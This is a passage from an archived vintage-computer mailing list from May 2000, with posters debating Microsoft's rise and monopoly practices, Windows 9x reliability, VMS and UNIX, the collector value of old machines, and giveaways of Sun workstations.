answering machine for him to please contact me, but there has been no response from him yet. Is he sick or in ill health? Does anyone know? Sorry to impose upon the group and the bandwidth with this, but I need Joe to get in touch with me, and since he posts to this group also I figured I give this a try. Bill whdawson@mlynk.com -> HP used to ship the current "Series 100 Communicator" in the box with -> your new Series 100 (i.e. 120, presumably 125, and 150) computer, or -> more likely in the box with its keyboard. I don't remember seeing -> them with 110s or Portable Pluses, but that could just be my defective -> memory. -> -> If you liked it and wanted more you had to buy a subscription. Given -> that it was mostly filled with new-product announcements for stuff -> that we either wouldn't use or could ask our sales rep about, and -> usage tips that weren't especially non-obvious, we didn't bother. -> -> -Frank McConnell -> From allisonp at world.std.com Sat May 6 20:16:09 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <011b01bfb7d1$ad5f1200$7464c0d0@ajp166> >win9x, Unices, Vaxens, Linux is more of nerd's dormain and clueful >users who know better to call for help first if some kind of problems >becomes out of their depth understanding how to deal with it. This left me mystified. VAX/vms running DECwindows is a good interface without give away the farm for the user. It's user proof. The system admin part is definately not for he average user but then neither is linux, unix or NT. Its possible to build a OS that has the needed protections that seem to be missing from Win9x. Allison From allisonp at world.std.com Sat May 6 20:23:19 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:33 2005 Subject: the latest virus Message-ID: <011c01bfb7d1$ae31f260$7464c0d0@ajp166> >Don't laugh... I still appreciate my AMD 5x86-133 running msdos 6.22 and >WfWg 3.11..... Defiinitely and IE-free zone!!!! :-}) > >Stan Thats a fast system. When you consider that by just running IE4.01 instead of 5.0 you've reduced you footprint and exposure it's something. Also if your apps don't need it Pulling VBA300.dll helps as thats needed to execute VB scripts. You could also pull IE and use Netscape, that works well. Then again you could run dos6.22 and Newdeal software (www.newdeal.com) and get all the stuff without the disk footprint. Allison From allisonp at world.std.com Sat May 6 20:31:21 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:33 2005 Subject: [KULUA] Nightline (fwd) Message-ID: <011e01bfb7d1$afb49ac0$7464c0d0@ajp166> You mean like the following... VMS standard greeting: Welcome to VAX/VMS on node Piper Morphed to: Piper, no trespassing. Abusers will be persecuted! >BTW -- if FreeVMS ever comes out in intel this box will run it. I keep waiting. In the meantime I have a VS2000 and 3100s thats smaller than most PCs. >bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? Add VMS: Waiting! Allison From spc at armigeron.com Sat May 6 23:02:42 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <00ae01bfb7d6$588bbb20$9d9fb2d1@Smith.earthlink.net> from "Wayne M. Smith" at May 06, 2000 08:43:01 PM Message-ID: <200005070402.AAA24938@armigeron.com> It was thus said that the Great Wayne M. Smith once stated: > > > MS has the market share it has by targeting > competition and ruthless use of > > its monopoly powers > > That is backwards. The law, and common sense, requires > that you already have to have significant market share > to have monopoly power. Monopoly power is the ability > to control prices and exclude competition by virtue of > monopoly power. To me, the question is, how did MS > achieve that power in the first place. There is no > doubt that once they had the power they abused it -- > that is what the DOJ's case is all about. But it seems > to me that they must have done something "right" to get > the power in the first place, such as Windows 3.1 or > some such. When you don't have monopoly power, > targeting competition is not only not illiegal, it's > what the free market encourages because that's what > USUALLY benefits consumers in the long run. First and foremost, William Henry Gates, III is a masterful tactician at business, whether you agree with his tatics or not. At 19 (in 1975) he was able to see that the money wasn't going to be in hardware but software. And he was able to negotiate his way out of a rather bad contract with MITS in order to license BASIC to other computer manufacturers. In fact, most of the early products from Microsoft were languages and it was for this reason that IBM approached Microsoft---for BASIC and other languages for their new machine. When IBM returned and asked Microsoft for an operating system, William Henry Gates, III saw an opportunity to license (at first) an operating system from Seattle Computer Products (I think that's the name) with a non-exclusive, non-royalty license. What gave Microsoft their power were three things---I-B-M. When IBM entered the PC market, it not only legitimized microcomputers, it practically spelled the doom for the smaller PC companies because at that time, nobody was fired for buying IBM. Microsoft however, not only entered a non-exclusive license with Seatle Computer Products, but a non-exclusing license with IBM and thus they helped with the emerging PClone market (and I think it was Compaq's clean-room implementation of the IBM PC BIOS that clinched the market). Also, of the three operating systems available for the IBM PC in August of 1981, MS-DOS was the cheapest of the three, even beating out Digital Research's CP/M-86. William Henry Gates, III was able to leverage any advantage he had, and he did. -spc (And the rest, they say, is history) From edick at idcomm.com Sun May 7 00:03:48 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' References: <200005070132.e471Wqr16115@admin.cgocable.net> Message-ID: <001501bfb7e1$a18a8e40$0400c0a8@winbook> Now, please take a look at my additional comments embedded below. I know they make this message long, but I dislike posting my remarks separately from the context to which they refer. Dick ----- Original Message ----- From: To: Sent: Saturday, May 06, 2000 3:37 PM Subject: Re: I wrote 'Nuke Redmond' > > snip > > > > > > > > > Well that works out nicely for you, but for many of the rest of us, M$ > > > products are designed to solve problems we don't have, and totally fail > > > to address the problems we *do* have. It's designed for the drooling > > > masses *only*, it's absolutely not good for normal utility use by nerds. > > > > That's because use by nerds is seldom normal. > It's the fact that the drooling masses have money that makes these computers cheap and ubiquitous. > > Let me switch this comments around: > > Nerds usually know what they doing correctly with common sense. The > people out in the wild usually breaks M$ stuff because it has too > much ways to happen. > My experience with nerds would suggest that they believe that, but I don't. > > Like Allison's comments about user space kept away from OSes and this > limits the blowups if a typical user make an miss is spot on. > I've never experienced this before, but I'm having difficulty parsing this sentence. > > Best devices are those very limited functions that does their > intended functions and no more. Examples: electronic reminder and > scheduler devices with personal data like birthdays, appts etc. > Another one that would do very well are web surfer, i-opener, email > devices such as Vtech w/modem built in and like for common users. > I'm inclined to agree, but that only applies to devices wherein NO provision for future growth is built in. I'm not familiar with the iopener, nor am I a particular fan of the way in which the "little" electronic notepads are made or used. > > What is missing is real innvoative user-interface (ala i-opener > style) for office applications and hide the OS and be Untouchable. > Again, I'm more inclined to wait until a product has been proven entirely satisfactory before I'm inclined to buy another from the same vendor. Most of y MS stuff is free, so I can't complain. > > win9x is more suitable for users who should know bit more clueful > with common sense to get help and not like "mmm, try this one?" > like Mr Simpson would do and push a button. Boom! > Frankly, I don't like the GUI. It has advantages, primarily in that it purportedly provides a monolithic structure for device drivers, thereby making a device accessible to all properly written applications. I liked things better when graphics happened only when you needed graphics, and the rest of the time the machine was strictly used from the command line. > > win9x, Unices, Vaxens, Linux is more of nerd's dormain and clueful > users who know better to call for help first if some kind of problems > becomes out of their depth understanding how to deal with it. > I can't agree with that! It's essentially a contradiction of what you've previously stated. Nevertheless, I'd say the the UNIX and others of that ilk were designed for use by and for nerds, from the standpoint that producing software is useful work. That's only true if you're a software vendor. If you're in the business of selling tires, or of making them, generating software is overhead that you'd like to avoid. IIRC, there were a couple of UNIX-like systems for the VAX, not to mention VMS, which was quite respectable, particularly for production tasks for which UNIX was considered most unsuitable. From the console, or farther away, it didn't look much different than UNIX. I've never liked things that said DIGITAL on them, hence never got too friendly with VMS. > > I find NT more of configuring and using without enough understanding > and things go bump in the night often, tons of BODs and kernel dumps. > I find this takes full understanding how hardware interacts with this > NT and use software drivers correctly to make sure it's reliable > enough. Also doing configurations in software especially in > networking stuff takes lot of understanding because I find reading > the wood ludicious especially without looking at whole picture why > OS or software barfed. Probs I find are: with hardware > mis-configuration and shoddy installation, 4/10 of that in software > or sloppily written drivers and/or software, 1/10th of that in true > hardware failures flaking out and low quality hardware parts or wrong > type used for given OS. > I think this goes back to the VERY ambitious attempt to establish a standard for Plug-n-Play, among other things. Unfortunately, when a committee tries to build a standard, it normally has lots of clauses and no teeth. Consequently, the Plug-n-Play became Plug-N-Pray. That's why the interrupt steering is different each time you go and fiddle with drivers, hardware, etc. It's almost by accident, and only by accident that I get through the installation of some video drivers. They always seem to "reach out and touch" something when least expected to do so. > > > > I recently installed Win98SE in the hope that it would be more reliable > > > for web browsing than Win98 was (on my machine, W98 was very flakey about > > > connecting to the net, and the video driver ignored my settings and always > > > ran in 640x480x16 mode), but the stupid thing has already locked up the > > > machine several times while sitting totally idle. > > Check that "power management" and cooling, insure memory is good. > Even top of 1 grand dollars Diagnostic stuff aka the best of world > will not detect this. I know, because I fixed few times like this > and had to rely on softwares and good working hardware to cause DUT > to act up and alteratively turn off and on one settings in bios one > at a time to flush out the problem. Had to do that on a motherboard > using win9x and bunch of games, sound card. This problem finally > solved it by swapping out pair of soldered 512K pipelined cache > chips. When I turned off that faulty cache part in bios, everything > went plum and sweet, got even better when CORRECT part got replaced. > I've yet to see a respectable set of diagnostic software for the PC. With as much memory as most people are expected to have, I imagine a thorough diagnostic of read/write memory would take about 50 years. I've yet to see a diagnostic that's capable of detecting faulty external cache. Most of the diagnostic programs I have are incapable of testing current generation hardware. No matter what steps I take, the failures are always undetected until after the system is delivered. Software, likewise, seems to go largely untested throughout the industry. For several years, it was almost impossible to buy a backup utility for Win9x, because none of the available utilities would work. I tested several, as part of a contracted task, and found that one (then) major vendor's software wouldn't finish its task. Another would back-up, but wouldn't restore. There were lots of other problems, but I find it criminal that software vendors are allowed to sell products that don't work at all. > > Even the unmanageable IRQs got shifted when I toggle certain parts in > bios menu. Many didn't realize the power of managing this by this > route. > I make it a practice to disable or even physically remove sound hardware. It uses three interrupts and two DMA's under worst-case conditions and I prefer my computers to be quiet. I keep one sound-equipped machine available in case I need to process sound (.dat) files, but normally avoid having it installed. > > > This is because you're not installing your video driver correctly. It often > > means you must delete the driver that appears in "Device Manager" before > > proceeding. This is often a problem when W9x knows about several versions > > of the same hardware. That's also why they refer to the common installation > > mode as "lug-n-pray." It defaults to the lowest common denominator. If you > > then install the driver precisely written for your version of the hardware > > in question, it will work fine. If you're off, even by one bit, your're > > stuck with the lowest common denominator, however. > > Any hardware drivers not just for video no matter what. Once in > awhile drivers breaks or win 9x actually lost a soundcard, happened > to me few times before and two programs didn't give any errors other > than both refused to start which deepens the mystery till I check DM. > > > I feel forced to point out that although the W9x isn't even near to being > > perfect, it's one heck of a lot better for the "average" home user than any > > version of *NIX or any other commercially offered OS. The half-day install > > for OS/2 (admittedly last attempted when OS/2 was new) would certainly > > discourage these "average" users. Moreover, Win9x wouldn't cost <$100 if it > > weren't for the fact that the "average" user buys a computer and the > > software he wants. Not only would Win9x not exist, but if it did exist in > > spite of the lack of home users, it would cost like VMS. The hardware would > > cost quite a bit more, too. > > @100 bux is upgrade version for any 9x always. Ones that is true > version without buying a computer or certain items is over $300. > And another way is to buy whole new system which is too much for me. > "List" price for the first-install version is $249, though I doubt the discount chains are charging that much. I recently saw the SE update for $85. Next time I'm at Best Buy, I'll check on both versions. > > That is why I'm angry at M$. And still running on 95a upgrade version. > Well, it's no wonder that you're irritated with M$. That 95A version was a sizeable step back from the betas. I'd upgrade to '98SE if possible. I have had really much better results with /98 than with 95, even with OSR2. What's more, I'd avoid loading Netscape. I've found that when somebody with Netscape loaded on their portable drives up into my driveway, the systems in the house start to act squirrely. It not even necessary that the foreign notebook be attached to the net. > Maybe Windows isn't for you. I use it because it's hard not to. I have half a dozen LINUX versions none of which has been left installed for more than a day or two, and they wouldn't meet my needs. Likewise, I've not gotten a comfortable feeling with SCO, UnixWare, etc. for the '386 and up types. > > Wizard > From allisonp at world.std.com Sat May 6 22:27:01 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <013801bfb7da$1d640170$7464c0d0@ajp166> >That is backwards. The law, and common sense, requires >that you already have to have significant market share >to have monopoly power. Monopoly power is the ability >to control prices and exclude competition by virtue of >monopoly power. To me, the question is, how did MS >achieve that power in the first place. There is no >doubt that once they had the power they abused it -- It started with the licensing of DOS at the vendor level to the extent that if the hardware could run dos it had to be licensed. Some of us may remember the early machines the the "jumper" to disable dos. the is was to inhibit the CP/M follow ons, Netware and the unix varients. This first lockin of the vendors was exploited for the windows software that followed. It would also get the DOJ to issue an aggreement back some years for MS to stop this monopolistic activity. Thats how the got the power. The money came from the applications and MS was known for them and never cheap. Allison From edick at idcomm.com Sun May 7 00:18:49 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' References: Message-ID: <002301bfb7e3$bc8bc900$0400c0a8@winbook> ----- Original Message ----- From: Mike Ford To: Sent: Saturday, May 06, 2000 8:44 PM Subject: Re: I wrote 'Nuke Redmond' > >There's only one reason that MS has the market share they do, and it's quite > >simple: IBM. It works like this; 1)IBM comes up with the PC. 2)Asks MS to > > MS has the market share it has by targeting competition and ruthless use of > its monopoly powers, seconded only by a long string of defective products > requiring expensive software updates that fueled a marketing warchest > unprecidented in human history. Paul Allen said it himself, "nobody ever > guessed the obscene profits possible from upgrades." > Would you care to elaborate on the practices of "targeting competition and ruthless use ..." I've hear about this, but I'd like to know what this actually means. It seems OK when DEC or IBM or someone else did the same thing, often much more with the intention of screwing anybody and everybody foolish enough to buy their products, and I'd also like to know why the historical account of the history of MS has to change every time someone needs it to in order to support their position. What I mean, of course, is that on one hand we have this company that's not yet 25 years old, and that had a substantial quiver of products out there back in the late '70's, essentially a monopoly on the market for commercially viable BASIC interpreters/compilers, not to mention other languages. They weren't considered an evil monopoly back then, when one might, indeed, have perceived them to be one. Upgrades do cost money, and there's no crime in exploiting the fact that people want the "latest and greatest" of whatever they use. I personally use the old (Windows 3.1) version of Office on a couple of my boxes, simply because it's easy and I already have it. This one here has the Office '97, and there won't be an upgrade until I get one in the mail, for free of course. > > This is the sickest aspect of the whole computer industry, ALL of the > companies that made fairly good reliable products went under from the flood > of dollars the BAD heavily marketed software generated via updates. > Well, I wish a few more of them would go. I can't imagine what companies, now defunct, produced this set of "fairly good reliable products " have gone down the toilet because they were outspent or outmarketed by MS. An example or two would be nice. > > Its a bleeping cynics playground. > > From edick at idcomm.com Sun May 7 00:30:46 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' References: <00ae01bfb7d6$588bbb20$9d9fb2d1@Smith.earthlink.net> Message-ID: <002701bfb7e5$68128060$0400c0a8@winbook> This message makes good sense, but I do have a few embedded comments below. Dick ----- Original Message ----- From: Wayne M. Smith To: Sent: Saturday, May 06, 2000 9:43 PM Subject: Re: I wrote 'Nuke Redmond' > > MS has the market share it has by targeting > competition and ruthless use of > > its monopoly powers > > That is backwards. The law, and common sense, requires > that you already have to have significant market share > to have monopoly power. Monopoly power is the ability > to control prices and exclude competition by virtue of > monopoly power. To me, the question is, how did MS > achieve that power in the first place. There is no > doubt that once they had the power they abused it -- > that is what the DOJ's case is all about. But it seems > to me that they must have done something "right" to get > the power in the first place, such as Windows 3.1 or > some such. When you don't have monopoly power, > targeting competition is not only not illiegal, it's > what the free market encourages because that's what > USUALLY benefits consumers in the long run. > I have to agree with this. What happens in the computer world, however, is that once a given OS becomes popular, it takes over the market, mainly because people can't exchange information, or at least couldn't back when this was happening, because the operating systems were not designed for that. Therefore, if I wanted sales, shipping, bookkeeping, and production to be automated in a common framework, they all had to have the same OS. The fact that PC network cards didn't support TCP/IP until late in the game meant that other network OS' had that share of the market until about the time Win95 became available. It's no coincidence, by the way, that this blessed event took place only a few months after the GOV decided to open the WWW to commercial interests. I'd really like a couple of examples of software companies with decent products that were put out of business as a direct result of Microsoft's adverse actions, with the exception, of course, of producing a vastly better product. If you simply look at what Apple did with their extremely (for all the wrong reasons) popular Mac, you'll see that they did all the bad stuff now being attributed to MS. When you're in business to make money, you go after your competitors any way you can. Apple did that with their "big-brother" commercials on TV. Their product, though "cute," was no more capable than an equivalently equipped PC, and cost over three times as much. They prevented everyone else from competing with them in the hardware and software arenas, and ultimately the price and availability of Mac products ran them out of the marketplace. From edick at idcomm.com Sun May 7 00:43:41 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' References: <013801bfb7da$1d640170$7464c0d0@ajp166> Message-ID: <004901bfb7e7$35f15500$0400c0a8@winbook> I can't leave this one alone either. Dick ----- Original Message ----- From: allisonp To: Sent: Saturday, May 06, 2000 9:27 PM Subject: Re: I wrote 'Nuke Redmond' > >That is backwards. The law, and common sense, requires > >that you already have to have significant market share > >to have monopoly power. Monopoly power is the ability > >to control prices and exclude competition by virtue of > >monopoly power. To me, the question is, how did MS > >achieve that power in the first place. There is no > >doubt that once they had the power they abused it -- > I've seen/heard of little evidence of that. Though there have been lots of references to such actions. They've been ruthless, yes, but not criminal, though some judge lacking in the grey matter to see the obvious, has been horswoggled into believing what a bunch of MS-haters tell him. > > It started with the licensing of DOS at the vendor level to the > extent that if the hardware could run dos it had to be licensed. > Some of us may remember the early machines the the > "jumper" to disable dos. { the is } was to inhibit the CP/M ^^^^^^^^ > follow ons, Netware and the unix varients. > I'm not sure I know what you mean here. I had a '186-based machine that ran DOS and CP/M-86. I didn't like either well enough to give up CP/M-80, BTW. > > This first lockin of the vendors was exploited for the windows > software that followed. It would also get the DOJ to issue > an aggreement back some years for MS to stop this > monopolistic activity. > Are you sure you'renot taking this one step too far, Allison? > > Thats how the got the power. The money came from the > applications and MS was known for them and never cheap. > No, they weren't cheap, but they were among the cheapest of the bunch. Other vendors' office automation software typically cost more than Microsoft's. I wasn't unhappy to see Lotus' offering and WordPerfect's go, though I liked the WP v5.1 for DOS and the surrounding office software suite. They never got going under Windows, (v3.0, 1990) however. > > Allison > From whdawson at mlynk.com Sun May 7 01:02:19 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:51:33 2005 Subject: value of RK05 In-Reply-To: Message-ID: <001e01bfb7e9$cd7dcd20$a5e3dfd0@cobweb.net> -> Oh well... 2 interests (old radios and old clocks) gone already. Same here as far as old (1919 to 1950's) radios go. Can you say Catalan, boys and girls? -> Now I'm likely to leave classic computing as well. Well, I'll be here until the value of an old (vintage) computer is based on the style of the cabinet or the material the cabinet is made of. By that time, the computer museums will be well established and properly representative of this era. I won't have any qualms then about selling my vintage computer equipment to a "collector", because by then the rarest and best of mine will have been donated to the museums and the "collectors" will fund my retirement pastimes. Do you plan on donating the best yours or just feeding the frenzy? -> Looks like it's time to find some other interesting form of machinery to investigate. Like what, articulated Beanie Babies??? -> > 12 bit computers were obsolete at the end of the '60s. A 12 -> bit computer -> -> So presumably you think all 4 and 8 bit microprocessors were obsolete -> when they were designs. I doubt you'll find too many people who'll agree -> with that. Obsolescence is generally defined as being when a large percentage of the original using population no longer uses an item because something better or cheaper as come along. As far as I'm concerned, if something still does the job, it is not obsolete. Last weekend I rescued a working VHS VCR from the curbside, with the remote control and original instruction book. It was in the box of the VCR that had replaced it. It is only a 2 head unit, mono audio. Is it obsolete? Not to me. The portable TV I use with it is only mono audio anyway. Is my Betamax Beta Hi-Fi SLR-1200 obsolete? It's over 16 years old and is still working just fine. I can still view all my Beta tapes on it. Is my Signal Corps AC generator obsolete just because it has a 6 cylinder Willy's engine and last saw real use in WWII? Not to me when the power goes off. -> > built 6 years after they were *totally* useless is not my cup -> of tea... and Obsolescence is in the eyes of the user. If someone buys something new, but the technology is a little outdated, what does it matter? The purchase is for the function, not the format. -> 'Totally useless'??? Considering they were sold for about another 10 -> years, and considering I still get to see them (and repair them) -> embedded in machine tools, analytical instruments, etc, I'd not call them totally -> useless. -> -> I know a number of people who'd love to be able to program, and hack -> about on, a real PDP8. Any model. Even an 8/a. -> -> No, they won't pay 'collector' prices for it, but honestly I wonder how -> 'genuine' these prices are. -> -> > Preservation comes in many packages. If I can use the -> peripherals from one -> > *new*, very common computer in an old one then I would prefer -> to increase -> > the value and use of the old computer. If the subscribers on -> this list tried -> -> Ah, that word 'value' again... I have no desire to increase the value of -> anything. -> -> I'd rather have as many machines working as possible. Oh, sure I move -> peripherals between machines -- some of the interfaces on my -> 11/45 came off -> some of my 11/34 machines, but those 11/34s are still working, and still -> have enough interfaces to be useful. -> -> > to preserve every computer they got then they would probably be using -> > COCO-2s for insulation in their homes ;-). My objective has -> always been to -> > preserve any computer built before 1973 - and I have saved -> well over 60 of -> -> My aims are rather different. Yes, I'd preserve anything before -> 1973 that -> I could get my hands on. I'd preserve a lot of significant machines -> _after_ that date as well. -> -> But the main reason I do this is to (a) preserve the knowledge that goes -> with those machines (design techniques, operating methods, etc), (b) to -> allow certain other enthusiasts over here the chance to use machine that -> they otherwise wouldn't be able to see. I started doing this when I -> realised that a lot of my friends (this was back in the mid -> 1980s, FWIW) had -> never used a front panel and had never used paper tape or punched cards. -> -> From wmsmith at earthlink.net Sun May 7 01:12:38 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' References: <200005070402.AAA24938@armigeron.com> Message-ID: <00c601bfb7eb$3f22b520$9d9fb2d1@Smith.earthlink.net> > William Henry Gates, III was able to leverage any advantage he had, and he > did. Well leveraging, that's different. If you use your monopoly power in one market (such as OS) to exclude competition in another market (browser) then that's a no-no. Perhaps that's what Richard intended. From whdawson at mlynk.com Sun May 7 01:54:32 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <002701bfb7e5$68128060$0400c0a8@winbook> Message-ID: <001f01bfb7f1$18e00880$a5e3dfd0@cobweb.net> --> If you simply look at what Apple did with their extremely (for all the wrong -> reasons) popular Mac, you'll see that they did all the bad stuff now being -> attributed to MS. When you're in business to make money, you go after your -> competitors any way you can. Apple did that with their "big-brother" -> commercials on TV. Their product, though "cute," was no more capable than -> an equivalently equipped PC, and cost over three times as much. They -> prevented everyone else from competing with them in the hardware and -> software arenas, and ultimately the price and availability of Mac products -> ran them out of the marketplace. If you look at the legal aspects of the Apple vs. Franklin lawsuit, back in the Apple II days, you can see that had Franklin properly argued, they would have won. It *was* impossible to separate the software from the firmware at the time Franklin copied Apple's ROMs. Even though Apple had the approved set of firmware entry points for third party software development, they looked the other way as all parties used every and any useable subroutine they could find in the firmware. Franklin had no choice to do anything *but* exactly duplicate the Apple firmware to ensure software written for the Apple II would run on their machine. Even Apple had a rough time of it trying to maintain compatibility with their own firmware due to software developers departing from the approved ROM subroutines. Look at what MS did to DR.DOS users in the beta testing of Windows. All it took was slight incompatibilities to send the Windows software developers over to the MS DOS camp. How long did DR last after that? And I don't agree that what Apple did with the Mac was for all the wrong reasons. They knew how well the strategy worked with the II series, so why not continue it in the Mac line? People bought Macs because they worked and worked well. The software functioned with minimum of grief and did what it was purchased to do. Third party ad-ons worked as well. Can you say that about PeeCees? Sure, you can buy a PeeCee and the attendant software cheaper, but what value do you place on the many, many hours troubleshooting incompatibilities, reboots, restores, etc., etc. And while I'm on the soapbox, I'll state the obvious. Bill Gates is a shrewd thief and an accomplished liar. About the only original product MS ever had was BASIC. IBM screwed Digital Research with the pricing of CP/M for the PC. Gates was no small part of this. This opened the door to new software that was not a direct port from CP/M, but directly designed with the MS DOS user base in mind. I've been using PC's since the beginning, but I also still prefer a good "closed" OS like PICK for "networked" situations. Remember, DOS was designed for _Personal Computers_, where the first, read that *early*, users were knowledgeable about files, extensions, incompatibilities, an so forth. With PC networking, the base OS didn't change to reflect the fact that users ignorant of the "innards" were now using this OS in an application driven environment, but with access to things forbidden in a strong OS. This has gotten us to where we are now. We have individuals with MS products like Outlook (which I am using right now), who can infect the www networked systems, thereby in-house networked systems, and other individual user's computers worldwide. Not good. Enough rambling for now. Thanks, Dick, for compelling me to put down in words these thoughts. From mikeford at socal.rr.com Sun May 7 00:58:23 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:33 2005 Subject: sun.motherload In-Reply-To: <200005070042.TAA21909@caesar.cs.umn.edu> References: <3914C167.988636E2@alfredtech.edu> from "Scott F. Hall" at "May 6, 2000 08:05:43 pm" Message-ID: >> > $80 each sounds like quite a bit for these machines... >> > >Put them out in the hallway. If the students dont get the clue, then >put a sign up saying 'free - but must take off-campus'. Two different extremes, a typical price is more like $25 to $35 depending on condition and contents, at least here in SoCal. From rutledge at cx47646-a.phnx1.az.home.com Sun May 7 02:29:24 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:51:33 2005 Subject: sun.motherload In-Reply-To: <39145A24.7979464@alfredtech.edu>; from Scott F. Hall on Sat, May 06, 2000 at 12:45:08PM -0500 References: <003301bfb76a$8cc1f100$7464c0d0@ajp166> <39145A24.7979464@alfredtech.edu> Message-ID: <20000507002924.Q18263@electron.quantum.int> On Sat, May 06, 2000 at 12:45:08PM -0500, Scott F. Hall wrote: > Anyone interested in giving an immediate home to a bunch of Sun > workstations? A college here in western NY state is ready to give a 470 > server and about 20 to 25 assorted IPCs, IPXs, and pizza boxes to anyone I might be interested in a machine or two but not the whole bunch. Especially if there's some higher end pizza boxes hiding in there... -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From kbd at ndx.net Sun May 7 02:33:00 2000 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:51:33 2005 Subject: COSMAC 1802 Simulator In-Reply-To: Message-ID: OK - I finally got my simulator going with Tiny Basic (what a nightmare). If put together a package with the source, sample programs, and docs: www.ndx.net/cosmac Feedback is very welcome! Kirk From spc at armigeron.com Sun May 7 02:38:21 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <00c601bfb7eb$3f22b520$9d9fb2d1@Smith.earthlink.net> from "Wayne M. Smith" at May 06, 2000 11:12:38 PM Message-ID: <200005070738.DAA29439@armigeron.com> It was thus said that the Great Wayne M. Smith once stated: > > > William Henry Gates, III was able to leverage any > advantage he had, and he > > did. > > Well leveraging, that's different. If you use your > monopoly power in one market (such as OS) to exclude > competition in another market (browser) then that's a > no-no. Perhaps that's what Richard intended. It's been alleged (several times) that Microsoft has used their power over the operating system to exclude competition in applications (MS- isn't done until doesn't run). Several examples are MS-DOS/Lotus 1-2-3, Windows/DR-DOS, Windows/OS/2 and Windows/Netscape. The most evidence I've ever seen has been the first, MS-DOS (either 1.1 or 2.0) and Lotus 1-2-3. -spc (Leverage, use of monopolistic power, what's the difference? Even Scott McNealy of Sun has publically stated he covets the power Microsoft has.) From spc at armigeron.com Sun May 7 02:43:12 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: from "Mike Ford" at May 06, 2000 07:44:29 PM Message-ID: <200005070743.DAA29555@armigeron.com> It was thus said that the Great Mike Ford once stated: > > This is the sickest aspect of the whole computer industry, ALL of the > companies that made fairly good reliable products went under from the flood > of dollars the BAD heavily marketed software generated via updates. Bad software drives out the good. It's simply easier to make bad software and the perception is time to market is the *only* thing that counts. For more on this, read The Rise of ``Worse is Better'' by Richard Gabriel. You can find it at http://www.jwz.org/doc/worse-is-better.html -spc (It bugs me too ... ) From spc at armigeron.com Sun May 7 02:53:02 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001501bfb7e1$a18a8e40$0400c0a8@winbook> from "Richard Erlacher" at May 06, 2000 11:03:48 PM Message-ID: <200005070753.DAA29771@armigeron.com> It was thus said that the Great Richard Erlacher once stated: > > > Like Allison's comments about user space kept away from OSes and this > > limits the blowups if a typical user make an miss is spot on. > > > I've never experienced this before, but I'm having difficulty parsing this > sentence. Basically it means that as a user, if I try to delete the entire filesystem it won't work. I, as a user, don't have the priviledges to delete any old file---if I own them, yes, I can do what I please. But system wide files? Nope. Can't do. Need administrative privs to delete any arbitrary file. I'm of two minds on this---I can see having administrative accounts and I can see not having them. It really depends upon how centralized you want your system(s) set up. > Nevertheless, I'd say the the UNIX and others of that > ilk were designed for use by and for nerds, from the standpoint that > producing software is useful work. That's only true if you're a software > vendor. If you're in the business of selling tires, or of making them, > generating software is overhead that you'd like to avoid. There have been embeded systems based upon UNIX. I know that Taco Bell used to use SCO UNIX in each store to run the cash registers and manage the money/inventory of the store. The SCO boxes at Taco Bell don't have development systems on them---there is no need as embedded systems. > Maybe Windows isn't for you. I use it because it's hard not to. I have > half a dozen LINUX versions none of which has been left installed for more > than a day or two, and they wouldn't meet my needs. Likewise, I've not > gotten a comfortable feeling with SCO, UnixWare, etc. for the '386 and up > types. Different users, different needs. Personally I've been able to use Linux to save what otherwise would have been thrown-away PCs (one is even running my personal website). -spc (One running on a diskless machine) From spc at armigeron.com Sun May 7 02:57:24 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <002301bfb7e3$bc8bc900$0400c0a8@winbook> from "Richard Erlacher" at May 06, 2000 11:18:49 PM Message-ID: <200005070757.DAA29788@armigeron.com> It was thus said that the Great Richard Erlacher once stated: > > > This is the sickest aspect of the whole computer industry, ALL of the > > companies that made fairly good reliable products went under from the > flood > > of dollars the BAD heavily marketed software generated via updates. > > > Well, I wish a few more of them would go. I can't imagine what companies, > now defunct, produced this set of "fairly good reliable products " have gone > down the toilet because they were outspent or outmarketed by MS. An example > or two would be nice. Borland? Oh that's right, you don't do software development. Umm ... -spc (Hey, at least that's one ... ) From spc at armigeron.com Sun May 7 03:00:46 2000 From: spc at armigeron.com (Sean 